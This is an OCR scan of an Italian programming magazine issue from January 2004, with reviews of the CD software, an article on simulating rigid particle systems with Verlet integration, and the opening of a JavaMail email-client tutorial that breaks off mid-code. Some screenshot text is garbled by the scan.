applicazioni di cui non si disponga del 
codice sorgente. 




Sono evidenziate chiamate ad API e 
librerie ed è possibile cercare stringhe e 
costanti all'interno del codice. 
L'interfaccia a finestra multipla consen- 
te di tenere sotto controllo contempo- 
raneamente il flusso dell' assembly e lo 
stato dei registri. Ben strutturato l'help 
on-line. Gratuito. 
odbg109d.zip 



JProf iler 2.4 

Scopri i colli dibottiglia 
di applicazioni J2SE e J2EE 

Un sistema semplice ed efficace per 
testare le prestazioni di applicazioni 
Java, sia J2SE sia J2EE. Le indagini alla 
ricerca dei colli di bottiglia coinvolgono 
più campi: utilizzo della CPU, occupa- 
zione della memoria e distribuzione del 
carico fra i thread. L'interfaccia partico- 
larmente intuitiva ci aiuta alla scoperta 
dei problemi del nostro codice. In que- 
sta versione è possibile monitorare l'at- 
tività del garbage collector ed è possibi- 



•lofi lei [Applet Demo IFishwiii lill] 









le scattare uno "snapshot" degli oggetti 
non referenziati, in modo da poter valu- 
tare possibile problemi di memoria. 
Versione di valutazione valida dieci 
giorni. 
j prof i ler_wi ndows_2_4.exe 



Serial Basic 2.1 

Tutta la libertà di programmare la 
porta seriale 

Un emulatore di terminale che consen- 
te di programmare la porta seriale tra- 
mite script, in un linguaggio che ha tutti 
i costrutti fondamentali del basic, 
inclusa la sua proverbiale semplicità. 




= 

Move ■ : 



\ A & l, 

SendCmd[ :: , sbCi, sbCr, 1 

SendCmd( , sbd, it.Cr, 1 

SendCrnd( - , sbCr, sbCr, 1) 

f . Lf. 

SendCmd[ , sbDLf, sbC 

SendCmd[ . Lf. 

SendCmdp ,s Lf, ,1 



3Lint = 1 To 10 

CmdVar = t IL 

I 

[CmdVar, ,10] 



i0 !!" 



Cr.idVai = 500 + ILoooLounì :: 1 0ÙÌ 

I l CmA-'ai 

SendCmd( , sbCr, sbCr, CmdVar] 






Attraverso singole istruzioni, è possibile 
inviare comandi a dispositivi collegati 
alla seriale e, attraverso una semplice 
istruzione di assegnamento, è possibile 
immagazzinare il valore ritornato dal 
dispositivo in una variabile. Strutture 
decisionali, cicli e la possibilità di acce- 
dere al disco, definiscono la completez- 
za dell'ambiente. L'utilizzo dell'applica- 
zione è gratuito fino al 5 maggio 2004, 
data in cui questa versione cessa di fun- 
zionare. 
SerialBasic2_1 .exe 



x-Forms Print 1.1 

Scoprti la bellezza dell'XML 

Un tool orientato alla presentazione di 
documenti XML. Attraverso XML-Fo, 
possiamo decidere l'aspetto che 



.„«/foconr/d.r...Ub.mpl<rt..fo 


*•'" rfc- li'-' ■ ■ -ù 


T ,„ , ; F ,„ lt = „,= ,„, . ,„.„„ ,„ . 


-n: 






I x-Forms 


, Z s; 


*——*»- * 4- "~* «— •- 




ì 


: HTfW- 


4 _,„.„J- 














r 


ì 




i 




4 - > - 




L 




. 




100 « •. Or— 2 „,0 P > F« (35mm » 




| Hel^mir» 


C | ea r 



























http://www.ioprogrammo.it 



Gennaio 2004/25 ► 



SOFTWARE SUL CD T Elenco Software sul CD 



vogliamo dare ai nostri dati e l'output 
può essere fornito in molteplici forma- 
ti, inclusi: HTML, RTF, PDF, GIF, TIF, 
PIC, BMP, PNG, PCL, postscript, o 
indirizzato direttamente alla stam- 
pante. X-Forms integra anche un 
generatore di report pilotabile da 
un'apposita API Java, che consente la 
definizione di complessi layout grafici. 
x-FormsVeri .1 .zip 

EditStein 1.0 

Il gusto di scrivere codice 

Con questo editor di grande impatto 
visivo, scrivere codice diventa più 
piacevole e divertente. Ricco di tutte 
le caratteristiche dei migliori editor, 
EditStein aggiunge un gradevole look 
e la possibilità di utilizzare qualsiasi 
linguaggio di programmazione senza 
avere l'ingombro che caratterizza 
molti moderni IDE. 




Oltre 40 schemi sintattici per altret- 
tanti linguaggi, client FTP integrato, 
gestione del file system, editor esade- 
cimale, finestra dos richiamabile con 
un clic e con il path già impostato al 
file correntemente aperto, speli 
checker, avanzate funzioni di stam- 
pa. Ampiamente personalizzabile, si 
può adattare con facilità a qualsiasi 
sistema. Forse ancora un po' acerbo: 
provate questa prima versione, cre- 
diamo che con qualche piccolo ag- 
giustamento potrà diventare un otti- 
mo strumento di sviluppo. Versione 
di valutazione valida dieci giorni. 
editstein.win32.exe 



Free Java 

1.01 T2003.10.20 

Un editor gratuito per Java 

Per chi si trova alle prime armi con 



Java, questo editor offre una imperdi- 
bile occasione per concentrarsi sul 
codice, senza perdersi nei meandri 
degli IDE più avanzati. Piccolo e 
velocissimo, si fa apprezzare anche 
dai programmatori più esperti: 
buono il sintax highlighting e la fun- 
zione di undo/redo. L'interfaccia pre- 
vede una struttura a panel che agevo- 
la il lavoro su più file. 




La compilazione e l'avvio delle appli- 
cazioni avviene attraverso la pressio- 
ne di un singolo tasto e gli errori evi- 
denziati dal compilatori sono gestibi- 
li sempre all'interno dell'editor. Free 
Java è gratuito ed è stato sviluppato 
suJDKl.3 
FreeJava1.01_T2003.10.20.zip 



DeKIarit 2.2 

Velocizza lo sviluppo di 
applicazione data-driven 

DeKIarit consente di trasformare Visual 
Studio .Net in un tool RAD per realizza- 
re applicazioni DB: buona parte del 
processo di design e sviluppo dell'ap- 
plicazione risulta ridotta grazie alla 
generazione automatica di codice e di 
modelli per accesso ai dati. Versione di 
prova valida trenta giorni. 
Deklarit22.msi 



Explorer Toolbar Maker 
3.01 

Creare barre per Explorer non è 
mai stato così semplice. 

Explorer Toolbar Maker consente di 
realizzare barre per Explorer a partire 
da pagine HTML, Macromedia Flash o 
documenti Office. Un semplice Wizard 
ci guida alla realizzazione di quella che 
può essere una soluzione elegante ed 
efficace in tutti quei casi in cui si voglia 
personalizzare o l'accesso a Internet o 
ad una Intranet. 
Compatibile con Internet Explorer a 



partire dalla versione 5.0. 
setup_toolbar.exe 



JLauncher 1.4 

Lanciare applicazioni Java 

Una piccolo applicazione che consente 
di lanciare applicazioni Java con un sin- 
golo clic, senza la necessità di creare file 
batch in DOS. JLaunch può essere per- 
sonalizzato con splash screen e si occu- 
pa di riconoscere automaticamente la 
presenza del Runtime Java attraverso la 



! Location: | 
NoimaHy, tnis enti"? leti bìank JL.au 

exactlywherethe runtime will be or 
/aOptions: 
When the Java ap pili rtion is eiecu 



• in a uto mafie a lly locate th 

'■■;• .mi '■•:■ Li ■ p 

ut e n> use s ire ! illation 



. i :-■!, :::.::■..■. 



■TestApp.jar 

(li be ili; lo -'-"I nlii the -in Java optimi 
Hl.3 |— onlyThis Version 

'■■} lequired fot > application, n Eg 1.5.2. ì 
* Both r JREOnly C JDKOnly 



jil'T'-".'!-., -.I 



-i.com/j2sel1.3fjrer 

un il" li-- . .1. 



consultazione del registro di Windows. 
Versione di valutazione. 
jlaunch14.exe 



Arquemie for Swing 
Trees 1.0.1 

Programmare con swing! 

Realizzare interfacce swing non è mai 
stato così facile! Arquemie genera auto- 
maticamente il codice sorgente per 
ottenere dei controlli ad albero che rap- 
presentino la strutura gerarchica degli 
oggetti presenti nella nostra applicazio- 
ne. Il codice sorgente generato risulta 
assolutamente indipendente da qual- 
siasi Jar ed è possibile utilizzare Arque- 
mie sia attraverso un suo IDE, sia attra- 
verso JBuilder. 




Versione dimostrativa. 
tree-eval-1 .0.1 .zip 



* 26/Gennaio 2004 



http://www.ioprogrammo.it 



Fisica ■ T SOLUZIONI 



Funzioni di base di un sistema di particelle 

Simulazione 
di corpi rigidi 

Traslazione, rotazione e collisione di sistemi di particelle vincolati 
rigidamente tra loro sono elementi fondamentali della simulazione. 
Analizziamoli con il modello matematico semplificato. 



Abbiamo più volte discusso dell'impor- 
tanza della simulazione per una grande 
casistica di problemi che vanno dalla 
programmazione di giochi, all'analisi di anda- 
menti della borsa valori, per terminare alla 
simulazione di fenomeni di ogni genere, che 
comprendono, solo per citare qualche area di 
applicazione: la sociologia, l'economia, la 
pedagogia, la biologia, la chimica e la fisica. 
Abbiamo anche puntualizzato il fondamentale 
momento della costruzione di un modello 
appropriato per attuare al meglio la fase di 
simulazione. 

Vorrei ora sottolineare come uno stesso feno- 
meno possa essere descritto da diversi modelli, 
con caratteristiche diverse, al fine di motivare la 
scelta di approssimare alcune leggi nella pre- 
sente trattazione. Un modello può essere più o 
meno preciso a seconda se tiene conto o meno 
di alcune variabili di sistema per così dire "tra- 
scurabili" ed anche se ha la capacità o meno di 
rappresentare in modo esaustivo la realtà. Soli- 
tamente, i modelli più "completi" sono più 
complessi o comunque richiedono implemen- 
tazioni algoritmiche più pesanti che fanno uso 
cioè di una maggiore quantità di risorse com- 
putazionali (memoria e CPU). 
Altri modelli trascurano alcuni aspetti del feno- 
meno, in funzione della loro applicazione, ad 
esempio: la traiettoria di una palla da biliardo 
sarà descritta da un modello che terrà conto 
dell'attrito del tavolo ma trascurerà il vento. 
Mentre, la traiettoria di una palla nel gioco del 
golf dovrà tener conto dell'influenza del vento. 
Ecco che diverse applicazioni di eguali fenome- 
ni, nell'esempio il moto di una sfera, possono 
essere simulate diversamente. 
Se a tale analisi si aggiunge una peculiarità de- 
gli elaboratori, come il tempo di elaborazione 



estremamente basso, a fronte di una "limitata" 
capacità elaborativa, tipica delle macchine 
RISC, allora si possono trarre nuove conclusio- 
ni. 

Prima di passare all'ultima considerazione di 
carattere teorico, è doveroso sottolineare il con- 
cetto appena esposto. Innanzitutto, voglio 
sgombrare il campo da equivoci: con limitata 
capacità elaborativa intendo che le operazioni 
di base conosciute dal calcolatore sono pochis- 
sime e sulla base di queste è possibile, comun- 
que, realizzare qualsiasi operazione, anche la 
più complicata. 

Ad ogni modo, le funzioni o operazioni più 
complicate richiedono, a volte, numerosissimi 
passaggi che prevedono operazioni di base, con 
conseguente perdita parziale di prestazioni. 
Qualora sia possibile, è auspicabile sfruttare le 
funzioni di base, come nel caso del modello 
proposto che si fonda sull'uso di sole somme e 
prodotti, in modo da velocizzare l'elaborazione. 
Modelli di questo tipo necessitano, su un set 
semplice di operazioni, di continue rielabora- 
zioni. In definitiva, è meglio, qualora l'applica- 
zione lo consenta, un modello semplice che va 
ricalcolato anche spesso, rispetto ad un model- 
lo fatto di complicatissime operazioni e funzio- 
ni che al momento del loro uso rallentano l'in- 
tera simulazione. Come i lettori dell'articolo 
precedente avranno intuito, le equazioni di 
Verlet permettono una semplificazione che ben 
si adatta a sistemi in tempo reale con rapidi 
cambiamenti. Dopo aver visto le fondamenta 
della teoria e l'applicazione su sistemi semirigi- 
di come i tessuti, usiamo gli stessi modelli per la 
simulazione di corpi rigidi. 
Una breve, ma si spera esaustiva, introduzione 
consentirà anche a chi ha saltato l'appunta- 
mento scorso di comprendere la trattazione. 



ERRATA CORRIGE 

Nell'articolo scorso di 
ioProgrammo sezione 
soluzioni - Simulazioni 
per sistemi di particelle 
- nella parte finale 
delle procedure nelle 
due fasi di 
rielaborazione, sono 
state erroneamente 
chiamate le due 
variabili xp e xq con gli 
identificativi x1 e x2. 



http://www.ioprogrammo.it 



Gennaio 2004/27 ► 



SOLUZIONI T ■ Fisica 




GLOSSARIO 



INSIEME 
CONVESSO 

Un insieme si dice 

convesso se, comunque 

presi due punti 

all'interno 

dell'insieme, possono 

essere collegati da un 

segmento interamente 

incluso nell'insieme. 




Esempio di insieme 
convesso. 



L'IDEA 

Il punto di partenza sono le conosciute leggi 
della cinematica per il moto dei corpi, o in gene- 
rale delle particelle. Queste sono state modifica- 
te e approssimate mediante integrazione di 
Verlet che assume la forma: 

x=2*xl-xO+a*Dt2 

Viene calcolato lo spostamento x per un tempo t 
in funzione di due precedenti istanti di tempo ti 
e t2, cadenzati dall'intervallo At, in cui la parti- 
cella ha assunto le posizioni xl e x2. Il tutto si 
basa sull'approssimazione che considera la 
distanza percorsa rispetto all'intervallo di tempo 
nell'ultimo passo come velocità, ossia v-(x- 
xl)/At, idem per il passo precedente. Come noto, 
soprattutto ai fisici, tale valore è solo una quan- 
tità media e non può essere adottata come valo- 
re puntuale: bisognerebbe diminuire l'intervallo 
di tempo a valori infinitesimali (per gli amanti 
della matematica equivale a dire che è necessario 
considerare il limite per At tendente a zero). 
L'approssimazione funziona poiché è possibile 
adottare intervalli di tempo relativamente brevi. 
Ecco che si sfruttano le potenzialità dell'elabora- 
tore: operazioni semplici ripetute in tempi molto 
brevi. Sulla base dell'idea esposta è stato costrui- 
to un modello ed una relativa classe C++ che 
implementa tali equazioni per sistemi di parti- 
celle che seguono tale legge; anche in presenza di 
vincoli come ad esempio, la costrizione a rima- 
nere in un determinato spazio o a mantenere la 
distanza tra particelle all'interno di un prefissato 
intervallo. Questo ultimo vincolo consente di si- 
mulare le due grandi categorie di sistemi di par- 
ticelle, quelli semirigidi conosciuti anche come 
tessuti [cloth] e i rigidi. La differenza tra i due sta 
nella forza che lega le particelle che li compon- 
gono e che individuiamo per descriverli. Per 
comprendere il sistema, si suppone che i punti 
adiacenti siano tra loro collegati da molle, valori 
di coefficienti che descrivono il mantenimento 
fermo delle molle producono corpi rigidi se inve- 
ce è presente un certo grado di elasticità siamo di 
fronte a sistemi semirigidi come tessuti. 



DAL SEMIRIGIDO 
AL RIGIDO 

Approfondendo il modello sviluppato per tessuti 
nell'appuntamento scorso, scopriremo come si 
possono ottenere simulazioni per corpi rigidi. 
Una completa codifica di un sistema di particel- 
le che tiene conto di un numero fissato di vinco- 
li (contenuti in un arrary m_vincoli che suppo- 
niamo esista) è esposta di seguito, si tratta di una 



rielaborazione del metodo vincoliQ. Si analizza- 
no due sistemi di particelle e le interazioni tra 
essi. 

// Implementazione di un sistema di particelle 

void sistemadiparticelle: :vincoli() 

{ // Il tetraedro rimane all'interno del cubo 

for (int j = 0; j<NUM_ITERAZIONI; j + + ) 

{ for (int i = 0; i<NUM_VINCOLI; i + + ) 

{ vettvincoli& vinc=m_vincoli[i]; 

vettore& xp = m_x[vinc.PARTICELLEP]; 

vettore% xq = m_x[vinc.PARTICELLEQ]; 

delta = xp - xq; 

float lunghezza =sqrt(delta*delta); 

diff=(lunghezza-vinc.lunghezzafix)/lunghezza; 

xp-=delta*0.5*diff; 

xq +=delta*0.5*diff; } 

} 

} 

Il sistema, come era stato proposto in forma me- 
no approfondita, simula corpi con un certo gra- 
do di elasticità tipici dei tessuti. Si ripete il pro- 
cesso un numero di volte pari alla variabile 
NUMJTERAZIONI e per ognuna di queste volte 
si itera sul numero di vincoli, NUM_VJNCOLI, 
ossia i legami di forza tra le particelle (in partico- 
lare con vinc.lunghezzafix indicheremo la lun- 
ghezza prevista dal vincolo tra le due singole par- 
ticelle in esame). Viene introdotto una nuova 
struttura per ospitare i vincoli, i campi previsti 
sono il numero di particelle per il sistema p, l'a- 
nalogo numero per il sistema q e lunghezzafix 
ossia il vincolo. I due sistemi p e q assumono le 
varie posizioni contenute nell'apposito array x. 
Al generico passo, corrispondente al generico 
vincolo, si esamina la differenza vettoriale tra xp 
e xq, la radice quadrata del prodotto vettoriale 
non è altro che la distanza euclidea, cosicché il 
valore lunghezza è proprio tale misura (distanza 
tra i due vettori xp e xq). Dalle fasi precedenti, ad 
esempio dopo un'applicazione di forzaO, le posi- 
zioni possono essere tali da non rispettare i vin- 
coli. La variabile diffb una stima approssimativa 
dello scostamento (compresa tra e 1), ovvia- 
mente, maggiore sarà lo scostamento tra i valori 
di distanza reale [lunghezza] e di distanza attesa 
[lunghezzafix] e più grande sarà tale valore. 
L'ultimo passo è un adattamento che tende a 
ripristinare le posizioni dettate dall'imposizione 
dei vincoli. Il coefficiente 0,5 è pensato per corpi 
simili ai tessuti; esso, infatti, riporta alla posizio- 
ne iniziale, salvo nuovi elementi di disturbo. Se 
tale coefficiente viene modificato si può rallenta- 
re tale processo. È a mio avviso utile un semplice 
esempio che mostri i passi dell'elaborazione di 
tale metodo. Per semplificare consideriamo xp e 
xq che non siano sistemi di particelle, bensì sin- 



► 28/Gennaio 2004 



http://www.ioprogrammo.it 



Fisica ■ T SOLUZIONI 



goli punti posti in un sistema bidimensionale, si 
avrà quindi un unico vincolo. Avremo un'unica 
iterazione per il ciclo interno. Come esempio 
prendiamo xp=(5,5) e xq=(2,l). Si comprenderà 
ancora meglio se vi munite di penna e fogli a 
quadretti. Il vettore delta è la differenza tra i due 
e vale quindi (3,4) il suo quadrato è uno scalare 
che assume valore 3*3+4*4=25, cosicché lun- 
ghezza, ossia la distanza tra i due punti xp e xq 
risulterà effettivamente 5. Supponiamo che il 
vincolo sulla distanza, vinc.lunghezzaflx valga 4, 
ciò significa che il passo presente ha prodotto un 
considerevole scostamento dei punti dalla posi- 
zione di equilibrio. Le ultime due assegnazioni 
hanno il compito di ripristinare la situazione 
almeno in modo parziale. La variabile diffvaìe 
1/5. Il nuovo valore di xp sarà il delta corretto dal 
prodotto dei due termini 1/2 è 1/5, ossia 1/10 
sottratto al vecchio valore del vettore. Facendo i 
conti si ottiene xp=(4.7, 4.6), analogamente xq= 
(2.3, 1.4). Si intuisce anche senza uso di rappre- 
sentazioni grafiche, come i due punti si siano tra 
loro avvicinati per ripristinare la distanza 4. Essa 
in particolare, dopo la prima iterazione in esame, 
varrà la radice quadrata di 2.4 * 2.4 + 3.4 * 3.4 che 
dà proprio 4, ossia la distanza desiderata. Un ul- 
teriore miglioramento prevede l'uso di operazio- 
ni semplici che sostituiscano la radice quadrata, 
ciò si ottiene, come mostrato la volta scorsa, uti- 
lizzando la serie di Taylor troncata al secondo 
termine, che garantisce una "buona" approssi- 
mazione. 

Molto interessante è l'uso della massa che intro- 
duce la simulazione dei corpi rigidi. 
Il codice cambia come esposto di seguito: 



delta = xp - xq; 

float lunghezza =sqrt(delta*delta); 

// oppure l'approssimazione di taylor che rende più 

efficiente 

diff=(lunghezza-vinc.lunghezzafix)/(lunghezza 

*(invmassp+invmassq)); 

xp-=delta*invmassp*diff; 

xq+=delta*invmassq*diff; 



La novità è espressa dalla presenza delle masse 
delle singole particelle, presenti in forma inversa. 
Valori molto piccoli rappresentano masse eleva- 
te, mentre valori grandi masse piccole. "Irrigidi- 
re", ovvero rendere rigido un sistema di particelle 
si può attuare dando massa elevata alle stesse in 
modo che non vi siano scostamenti apprezzabili 
dalla lunghezza prefissata lunghezzaflx, come ri- 
sulta evidente dall'esame dell'assegnazione che 
produce diff. Ma ciò non è sufficiente per simu- 
lare corpi rigidi puri per i quali non è previsto 



alcun tipo di variazione delle distanze tra le par- 
ticelle. 



ULTERIORI VINCOLI 

Accompagniamo la nostra disquisizione ad un 
esempio pratico per non perdere mai il filo del 
discorso, ed avere sempre un riscontro reale. 
Sebbene la teoria preveda la conoscenza di alcu- 
ni concetti specialistici come tensori o momenti 
di inerzia, tenteremo di mantenere la trattazione 
ad un livello elementare, ed enfatizzeremo gli 
aspetti di progettazione ed implementativi, inol- 
tre, orienteremo lo studio all'analisi numerica 
piuttosto che alla manipolazione simbolica tipi- 
ca della matematica pura. Consideriamo un 
tetraedro, (per intenderci, una piramide a base 
triangolare). Le particelle che individuano il cor- 
po rigido sono i quattro vertici, mentre i sei spi- 
goli indicano dei vincoli di struttura, essendo il 
corpo rigido si suppone che tali segmenti debba- 
no mantenere sempre la stessa distanza. Il passo 
successivo è considerare il tetraedro all'interno 
di un cubo. Possiamo applicare il metodo vinco- 
no dell'oggetto in costruzione sistemadiparticel- 
le. Per ottenere il doppio risultato di mantenere 
l'intero sistema all'interno del cubo e di rendere 
rigide le molle di collegamento tra le particelle 
come descritto in precedenza. Si rammenta co- 
me si possa sviluppare la prima parte: 



// Implementazione di particelle 


// tetraedrico in un cubo 


void sistemadiparticelle: :vincoli() 


{ for (int i=0; i<NUM_PARTICELLE; 


i++) 








{ vettore& xl=m_xl[i]; 


xl=vmin(vmax(xl, vettore(0 


0,0)), vettore( 
100,100,100)); 


} 


} 



Il secondo risultato, consta nel mantenere fisse le 
distanze tra i punti, che si può enunciare anche 
come mantenimento puntuale dei vincoli o 
quanto meno con scostamenti trascurabili. Ciò si 





GLOSSARIO 



INSIEME 

moni convesso 

In figura è proposto, 
invece, un esempio di 
insieme non convesso, 
come si può notare, 
in alcuni tratti il 
segmento che unisce 
due punti scelti 
nell'insieme, non 
appartiene all'insieme 
stesso. 




Fig. 1: Tetraedro, esempio di corpo rigido di 4 punti e 
6 vincoli. 



http://www.ioprogrammo.it 



Gennaio 2004/29 ► 



SOLUZIONI T ■ Fisica 



ottiene imponendo il rispetto dei vincoli, ossia le 
distanze tra le particelle, oppure adottando una 
strategia simile a quella esposta nel codice prece- 
dente a quello appena prodotto. Nel trattare i 
vincoli per un corpo rigido ci imbattiamo in 
nuove problematiche. Una delle più sentite è la 
gestione di sporgenze nell'insieme di definizione 
del corpo. Nell'esempio, il tetraedro si suppone 
sia descritto all'interno di un cubo, il che non pro- 
voca grattacapi, il problema è se come mostrato 
in Fig. 2 si presenti una sporgenza. 











_°/Y_ 





Fig. 2: Proiezione dei tetraedro descritto in un 
insieme non convesso. 



Per semplificare si considera un livello, ossia un 
proiezione bidimensionale dell'intero sistema. 
In tal caso bisogna prendere provvedimenti in 
considerazione del fatto che, essendo il sistema di 
particelle descritto da un insieme di punti, può 
capitare (come nell'esempio rappresentato) che, 
anche se le particelle sono interne al campo di 
azione, parte del corpo rigido risulti all'esterno, 
poiché, ovviamente si suppone che il corpo rigido 
sia tutto "l'involucro" esterno, nel esempio tutto il 
tetraedro. 

Una prima soluzione è quella di considerare solo 
insiemi (campi di azione) che siano convessi. 
Un'ipotesi siffatta va scartata poiché molti feno- 
meni, come ad esempio gli urti di cui videogiochi 
e altri simulazioni fanno un uso massiccio, posso- 
no rientrare in questa situazione indesiderata. 
Una seconda soluzione prevede di includere il 
corpo all'interno di un cubo (embedded), con 
relativi margini di tolleranza per evitare il bug del 
modello in caso di sporgenze. Ma anche questa 
seconda soluzione mostra dei limiti, soprattutto 
per le simulazioni di corpi molto spigolosi e arti- 
colati che vedrebbero i propri movimenti forte- 
mente ridotti. Infine, la soluzione che meglio si 
confà, prevede la costruzione di un motore che 
riconosce le collisioni. Si procede per passi, si 
comincia individuando eventuali punti di pene- 
trazione, essi possono essere in generale di due 
tipi: che riportano fuori dal campo di azione una 
particella o che escludono parte del corpo rigido 
senza peraltro coinvolgere particelle. 
Nel primo caso, semplicemente, si riporta all'in- 
terno il punto che si è trovato escluso. 



Nel secondo caso si traccia il segmento o i seg- 
menti che sono fuori, circoscrivendo l'attenzione 
ad un solo segmento verranno coinvolti due 
punti, xp e xq. Il punto /che è fuori sarà lungo il 
segmento, più vicino ad uno dei due punti, in 
particolare si può scrivere: 

f=cl*xp+ c2*xq 

Entrambi i coefficienti e sono compresi tra e 1 e 
la loro somma fa uno. Il coefficiente più grande è 
relativo al punto più vicino, che verrà quindi spo- 
stato per consentire il soddisfacimento di questi 
nuovi vincoli. Lo spostamento avverrà produ- 
cendo nuove posizioni (indicate con ri) prodotte 
dalle seguenti espressioni: 

xpn=xp+cl*k*D 

xqn=xq+c2*k*D 

k è il coefficiente di spostamento mentre con D si 
indica la direzione. In definitiva la nuova posizio- 
ne//! è descritta da: 

fn=cl*xpn+ c2*xqn 

Facendo opportuni calcoli matematici è possibile 
ottenere dei validi valori della costante /e, ma che 
comunque esulano dalla presente trattazione. 



CONCLUSIONI 

Simulare è un'attività piena di fascino per il pro- 
grammatore, poiché egli vede sviluppare nella 
propria applicazione un simulacro che tende ad 
imitare la realtà o una porzione di una determi- 
nata realtà. Per farlo, come abbiamo intuito, è 
necessario conoscere a fondo sia la realtà da 
"imitare" che lo strumento per simularla, nel 
caso specifico l'elaboratore. I sistemi di particelle 
sono un ottimo approccio alla simulazione poi- 
ché investigano sul campo maggiormente cal- 
pestato che è quello della fisica e in tale ambito 
descrivono una gran quantità di diverse situazio- 
ni. 

Ad esempio, nel caso affrontato, con piccole 
estensioni, si possono studiare interi sistemi di 
corpi rigidi che ci fanno venire in mente robot, 
macchine e quant' altro. Insomma, vi sono molte 
aree di approfondimento, a partire dalle nozioni 
che abbiamo esposto ed applicato con program- 
mi in questi due appuntamenti. 
Probabilmente, Soluzioni cambierà nuovamente 
direzione come ci ha spesso abituati. 
Per scoprirlo non resta che aspettare il prossimo 
mese, vi aspetto. 

Fabio Grimaldi 



* 30/Gennaio 2004 



http://www.ioprogrammo.it 



Gestire posta con le API JavaMail ■ T TEORIA & TECNICA 



Un client di posta multipiattaforma 



Un Outlook in Java 



A partire da questo mese ci confronteremo con un'interessante sfida 
informatica: lo sviluppo di un client di posta elettronica simile, almeno 
nelle funzionalità di base, ad Outlook Express, Eudora o Mozilla. 



Le API JavaMail sono uno dei tanti pacchetti 
opzionali distribuiti da Sun Microsystems per 
l'estensione della piattaforma/ai^ 2 Standard 
Edition (J2SE). Il loro scopo è fornire funzionalità 
per agevolare la lettura, la composizione, l'invio e la 
ricezione della posta elettronica. Con le API JavaMail 
diventa facile costruire un client e-mail come Eudo- 
ra, Outlook Express, Evolution, Mozilla Thunderbird 
e tutti gli altri programmi di questo tipo. Questo arti- 
colo inaugura una breve serie dedicata proprio alla 
realizzazione di un software di posta elettronica suf- 
ficientemente completo, simile a quelli appena cita- 
ti, sfruttando il linguaggio Java e le API JavaMail. 



INSTALLAZIONE 
DI JAVAMAIL 

Naturalmente, prima di cominciare, è necessario 
scaricare ed installare le API JavaMail sulla propria 
postazione di lavoro. L'operazione è, tutto sommato, 
molto semplice. Anzitutto, le API JavaMail dipendo- 
no dal JavaBeans Activation Framework. Questo 
pacchetto non fa parte dell'insieme di base della 
piattaforma J2SE, pertanto è probabile che dovrete 
installarlo, prima di procedere. Collegatevi all'indi- 
rizzo http://java.sun.com/products/javabeans/gla- 
sgow/jaf.html e scaricate il file proposto (che si chia- 
ma jaf-X_Y_Z.zip, dove X, Y e Z identificano la più 
recente versione tra quelle disponibili). Tenetelo da 
parte: lo installeremo insieme alle API JavaMail. 
Bene, ora collegatevi alla pagina Web di JavaMail: 
http://java.sun.com/products/javamail/. Da qui, co- 
me nel caso precedente, scaricate il file proposto, 
nella sua versione più recente (il nome sarà del tipo 
javamail-X_Y_Z.zip). I due archivi ZIP appena scari- 
cati contengono diversi elementi: le estensioni della 
libreria di Java, la loro documentazione ed alcuni 
semplici programmi dimostrativi. Scompattateli 
dove preferite ed individuate i due archivi JAR chia- 
mati activation. jar (per il JavaBeans Activation 
Framework) e mail.jar (per le API JavaMail). Questi 
due archivi contengono le classi che andranno ad 
estendere la libreria di Java, offrendo le nuove fun- 
zionalità di cui abbiamo bisogno. Ci sono diversi 



modi per sfruttare i pacchetti di estensione come 
quelli che ci siamo appena procurati. Il primo consi- 
ste nel copiarli al percorso: <cartella di installazione 
del J2SDK>/jre/lib/ext. La speciale cartella ext può 
accogliere le estensioni di Java. Basta introdurre al 
suo interno degli archivi JAR e le classi in essi conte- 
nute saranno immediatamente disponibili alla mac- 
china virtuale. Un avviso per chi lavora sotto Win- 
dows: in questo sistema operativo l'installer delle 
più recenti versioni del J2SDK introduce ben due 
ambienti Java. Il primo è un ambiente di sviluppo, 
mentre il secondo serve per l'esecuzione con presta- 
zioni migliorate. Se avete seguito tutti i passi finora 
mostrati, le due nuove estensioni sono visibili solo 
all'ambiente di sviluppo. Affinché anche quello di 
esecuzione possa avvantaggiarsene, è necessario 
introdurre un'ulteriore copia dei due pacchetti al 
percorso che solitamente è: C:\Programmi\Java\ 
j2reX.Y.Z\lib\ext. Un altro modo per registrare degli 
archivi JAR come estensioni della propria macchina 
virtuale consiste nell'introdurre tutti i percorsi com- 
pleti che identificano ciascun archivio nella variabi- 
le di sistema CLASSPATH, osservando le regole vali- 
de per lo specifico sistema operativo in uso. Infine, è 




□ CD □ WEB 

codicijavamail1.zip 

fa 




>\-.i]\'^-ii'.ì-f [un <:-. 



dì J:!/;!..-;:!Ìj, 



HostSMTR | mail. 191.it 



Mittente: | "Carlo Pelliccia" <c pelliccia@sau ronsoftware 



Destinatario: "Carlo Pelliccia" <carlo@lu grieti.net 



Oggetto: Un test di MailSender 



Ciao Carlo, 

sono io, Carlo! Come stai? 



Ti mando una mail di prova con MailSender, l'applicazione 
dimostrativa per ioProgrammo. 



Gianfranco mi ha chiesto di farti sapere che l'articolo va completato 
n tempi brevi. Sbrigati, poltrone!!! :-))) 




Fig. 1: L'applicazione MailSender, per l'invio di una semplice e-mail di solo testo. 



http://www.ioprogrammo.it 



Gennaio 2004/31 ► 



TEORIA & TECNICA T ■ Gestire posta con le API JavaMail 




n 




REQUISITI 



La realizzazione di 

quanto è mostrato in 

questo articolo e nei 

successivi 

appuntamenti richiede, 

da parte del lettore, 

alcuni prerequisiti di 

base: 

• discreta conoscenza 
del linguaggio Java e 

della sua piattaforma; 

• discreta conoscenza 
dei concetti di base del 

networking; 

• discreta conoscenza 
dei meccanismi tipici di 

un servizio di posta 
elettronica. 

Se non soddisfate il 

terzo requisito, fareste 

bene ad approcciare 

l'argomento prima di 

intraprendere la 

lettura dell'articolo. 



persino possibile non installare le estensioni neces- 
sarie ad un particolare programma. Affinché il soft- 
ware possa sfruttarle, ad ogni modo, è necessario in- 
trodurle nel pacchetto finale del programma ed in- 
formare la macchina virtuale della loro presenza al 
momento dell'avvio. Esamineremo questa tecnica 
più avanti quando, completato il nostro client di po- 
sta elettronica, dovremo risolvere il problema della 
sua distribuzione e della sua installazione. 



INVIARE UNA E-MAIL 

Cominciamo da un semplicissimo programma 
privo di interfaccia grafica e di interazione con l'u- 
tente, solo per sperimentare l'impiego delle API Ja- 
vaMail nell'invio di una missiva elettronica. Sostitui- 
te, nel seguente codice, gli arbitrari dati conservati 
nelle stringhe smtp, mittente e destinatario: 

import java.util.Properties; 

import java.util.Date; 

import javax.mail.*; 

import javax.mail.internet.*; 

public class InvioMail { 

public static void main(String[] args) throws Exception { 

// Il server SMTP da impiegare per rinvio. 

String smtp = "smtp.host.com"; 

// Il mittente della mail. 

String mittente = "Y'Pinco Panco\" 

<pinco.panco@mail.com>"; 

// Il destinatario della mail. 

String destinatario = "Y'Panco Pinco\" 

